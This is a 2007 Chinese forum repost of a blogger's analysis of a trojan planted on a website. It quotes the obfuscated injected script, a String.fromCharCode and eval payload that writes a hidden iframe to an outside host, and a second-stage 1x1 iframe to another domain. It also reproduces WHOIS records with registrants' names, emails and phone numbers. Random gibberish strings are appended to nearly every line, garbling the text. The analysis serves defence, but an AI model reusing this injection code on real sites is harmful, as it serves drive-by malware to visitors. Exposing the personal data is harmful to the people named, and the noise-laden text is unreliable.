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[原创]一篇刚写的分析木马手记

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所在楼道

首发在我的博客里面, !]#@:Z  
R_JB`HFy=  
http://www.areway.cn/?p=175 %X|fp{C  
kh7RQbNY<I  
([g[\c,H  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: Sm7O%V8{p  
          oh^/)2W  
<script>t=’60,105,102,114,97,109,101, ORCG(N  
32,115,114,99,61,104,116,116,112,58,47,47, 3haR/Y N  
102,114,101,101,46,117,45,117,117,117,46,99, )~> C1<  
110,47,101,114,114,111,114,46,104,116,109, d2~*fHx_!  
32,119,105,100,116,104,61,49,48,48,32,104, =qWcw7!"  
101,105,103,104,116,61,48,62,60,47,105,102, A-6><X's6  
114,97,109,101,62′; ./7*<W:  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>  m[>pv1o  
                                                                                                  s:O8dL /  
<script>t=’60,105,102,114,97,109,101,32,115, 4DwQ7KX  
114,99,61,104,116,116,112,58,47,47,102,114, p+.xye U(  
101,101,46,117,45,117,117,117,46,99,110,47, I-glf?F)  
101,114,114,111,114,46,104,116,109,32,119, ?R!?}7  
105,100,116,104,61,49,48,48,32,104,101,105, ,`Yx(4!rR  
103,104,116,61,48,62,60,47,105,102,114,97, o&U'zaj  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); )G+D6s23  
document.write(t);</script> dQ.:xu}~  
                                                                                                  c'!+]'Lr  
<html xmlns=” L\cb Y6b  
http://www.w3.org/1999/xhtml !_P-?u  
“> #{8t ?v l  
<head> +|K/*VVn`  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> [gkOwU=?  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Zws[C  
<title>首页 - 爱生活家庭网  8MZ:=  
                                                                                                                                                    lWyg_YO@  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 n1Z*wMwC  
转换字符串后的大概内容是(谁点击后果自付): 8V?*Bz-4`  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Can:!48  
                                                                                                                                  )x<oRHx]  
查询玉米u-uuu.cn的详细信息: hY(q@_s  
Domain Name: u-uuu.cn dq4t@:\o0  
ROID: 20070901s10001s64972306-cn O>c2*9PM  
Domain Status: ok SB) Hz8<  
Registrant Organization: 王雷 N5F+h94z]  
Registrant Name: 王雷 AMSn^ 75  
Administrative Email: czlovexs@126.com uS|f|)U&  
Sponsoring Registrar: 北京万网志成科技有限公司 T/Bx3VWL  
Name Server:ns.yovole.com Z~{0x#?4%  
Name Server:ns1.yovole.com 4#Rq}/h  
Registration Date: 2007-09-01 17:54 RD_l  
Expiration Date: 2008-09-01 17:54 8mn zxtk  
最后PING了一下地址 都没有什么…. 9O{b8=\}  
                                                                                                V9\y*6#Y,  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. %;ZDw@_<  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> gyT3[*eh  
<script language=”javascript” src=” lHc|: vG?  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script :c3'U_H^  
> p5V.O20  
这个玉米应该有可能是木马作者的: [+3~wpU(p  
foafau.info的详细信息: .t9*wz  
Access to INFO WHOIS information is provided to assist persons in TjWMdoU$J  
determining the contents of a domain name registration record in the +01bjM6F_1  
Afilias registry database. The data in this record is provided by 5M= S7B3=  
Afilias Limited for informational purposes only, and Afilias does not /I@`B2  
guarantee its accuracy.  This service is intended only for query-based =vD}O@tN  
access. You agree that you will use this data only for lawful purposes $.Qu55=z<  
and that, under no circumstances will you use this data to: (a) allow, N 6t`45  
enable, or otherwise support the transmission by e-mail, telephone, or A4IPd  
facsimile of mass unsolicited, commercial advertising or solicitations @~j- -L  
to entities other than the data recipient’s own existing customers; or OlcWptM$  
(b) enable high volume, automated, electronic processes that send (U_dPf  
queries or data to the systems of Registry Operator, a Registrar, or M1,1J-h  
Afilias except as reasonably necessary to register domain names or Aw,#oG {N  
modify existing registrations. All rights reserved. Afilias reserves f eA(Rj  
the right to modify these terms at any time. By submitting this query, +V,Ld&r  
you agree to abide by this policy. pP^"p"<s  
Domain ID:D22418703-LRMS <=gf|(  
Domain Name:FOAFAU.INFO |n~Vpy  
Created On:20-Nov-2007 16:05:42 UTC K-6+fgeB  
Last Updated On:20-Nov-2007 16:05:44 UTC lj+}5ySG/  
Expiration Date:20-Nov-2008 16:05:42 UTC E[8i$  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) _>/OqYR_jQ  
Status:CLIENT DELETE PROHIBITED ?y4vHr"c  
Status:CLIENT RENEW PROHIBITED |W;EPQ+<  
Status:CLIENT TRANSFER PROHIBITED LT:*K!>NOL  
Status:CLIENT UPDATE PROHIBITED x67,3CLy?  
Status:TRANSFER PROHIBITED )A*Sl2ew  
Registrant ID:GODA-040110615 ?t"bF:!  
Registrant Name:liu hong +l@+e_>  
Registrant Organization: oh%/\Xu  
Registrant Street1:beijing wg{Y6X yH  
Registrant Street2: Mb\[` 4z  
Registrant Street3: e*/ya8p?  
Registrant City:beijing G}0fk]%\:  
Registrant State/Province: mP+rPDGp  
Registrant Postal Code:100000 kOLS<>.  
Registrant Country:CN qp`G5bw  
Registrant Phone:+86.860108888777 .9u,54t  
Registrant Phone Ext.: a4D4*=!G0  
Registrant FAX: }< m@82\  
Registrant FAX Ext.: zE_t(B(Q  
Registrant Email:bbbshiji@163.com gLQbA$gB  
Admin ID:GODA-240110615 ~\~XD+jy"  
Admin Name:liu hong *h Bo,   
Admin Organization: d A' h7D  
Admin Street1:beijing L}.V`v{zc  
Admin Street2: :taRCh5  
Admin Street3: #7dM %  
Admin City:beijing JrVBd hLr  
Admin State/Province: fH[:S9@  
Admin Postal Code:100000 !|;w(/  
Admin Country:CN M$AQZ')9  
Admin Phone:+86.860108888777 ko<VB#pOMr  
Admin Phone Ext.: d){Al(/  
Admin FAX: *N?y<U  
Admin FAX Ext.: ;J40t14u  
Admin Email:bbbshiji@163.com V[BlT|t  
Billing ID:GODA-340110615 )`gE-udR  
Billing Name:liu hong #^;^_  
Billing Organization: 8- ]7>2?_  
Billing Street1:beijing (??|\ &DTi  
Billing Street2: sow/JLlbC  
Billing Street3: &`A2&mZ  
Billing City:beijing \`:LPe  
Billing State/Province: ICI8xP}a?  
Billing Postal Code:100000 * S>,5R0k  
Billing Country:CN fP 5!`8  
Billing Phone:+86.860108888777 dL!K''24{  
Billing Phone Ext.: p!w}hB598  
Billing FAX: k.CHMl]  
Billing FAX Ext.: > [|SF%  
Billing Email:bbbshiji@163.com s7#|'jhZt  
Tech ID:GODA-140110615 DozC>  
Tech Name:liu hong kzcD}?mSS  
Tech Organization: M"$TXXe  
Tech Street1:beijing ;r XhK$  
Tech Street2: %D:5 S?{  
Tech Street3: 4uUR2J  
Tech City:beijing q{t"=@lX01  
Tech State/Province: `O/RNMaC  
Tech Postal Code:100000 m K@a7fF?  
Tech Country:CN v__;oqN0  
Tech Phone:+86.860108888777 dj0`Q:VZ  
Tech Phone Ext.: *cn#W]AE  
Tech FAX: v^_<K4N`  
Tech FAX Ext.: 5`3f"(ay/  
Tech Email:bbbshiji@163.com G ]mX+?  
Name Server:NS27.DOMAINCONTROL.COM fMFlY%@t  
Name Server:NS28.DOMAINCONTROL.COM y Yvv;E  
Name Server: sP NAG  
Name Server: I#tEDeF2  
Name Server: aE2 3[So  
Name Server: ]\:FFg_O6t  
Name Server: {\HE'C/?  
Name Server: ,As78^E{  
Name Server: !%2aw0Yv  
Name Server: +6* .lRA  
Name Server: AH(O"v`  
Name Server: b!' bu  
Name Server: .iL_3:6f  
                                                                                                          7l})`> k  
接着下载每个文件里面的代码: 7#R& OQ  
一步一步看.. dsxaxbVj%  
d4P0f'.z  
5}4MXI4  
vAE?^*F  
5B<G;if,  
q61 rNOw_  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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